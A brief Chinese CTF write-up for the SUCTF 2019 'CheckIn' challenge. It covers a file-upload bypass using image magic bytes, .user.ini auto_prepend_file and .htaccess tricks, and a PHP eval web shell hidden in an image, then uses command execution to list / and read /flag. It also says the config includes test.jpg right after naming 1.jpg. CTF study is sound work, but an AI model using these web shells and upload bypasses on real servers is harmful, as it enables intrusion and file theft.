题目名称
[SUCTF 2019]CheckIn
本题考点:
- .user.ini 绕过上传
- <? 内容过滤绕过
- exif_imagetype 绕过
# 0x00 exif_imagetype 绕过
我们可以通过给上传脚本加上相应的头字节就可以绕过:
- JPG :FF D8 FF E0 00 10 4A 46 49 46
- GIF (相当于文本的 GIF89a):47 49 46 38 39 61
- PNG: 89 50 4E 47
# 0x01 .user.ini 绕过
.user.ini 是 nginx 下的用户配置文件
用方法很简单,直接写在.user.ini 中:
GIF89a | |
auto_prepend_file=1.jpg |
那么当我们访问此目录下的任何一个文件时,都会去包含 test.jpg
有一篇很详细的文章:.user.ini 详细说明
.htaccess 是 apache 下的用户配置文件
用法如下
GIF89a | |
<FilesMatch "shell.png"> | |
SetHandler application/x-httpd-php | |
</FilesMatch> |
# 0x02 图片马
有些题会把含 “<?” 的文件和过滤掉,所以我们就换个方法制作图片马
GIF89a? | |
<script language="php">eval($_POST['a']);</script> |
另存为 1.jpg 图片马就写好了
# 0x03 上传,拿 flag
然后就可以用蚁剑连了。但是它会不时的清除文件,所以链接的不是很稳定。
或者直接命令执行
扫描根目录: a=var_dump(scandir("/"));
我们可以可以看见一个叫 flag 的文件
打印 flag: a=var_dump(file_get_contents("/flag"));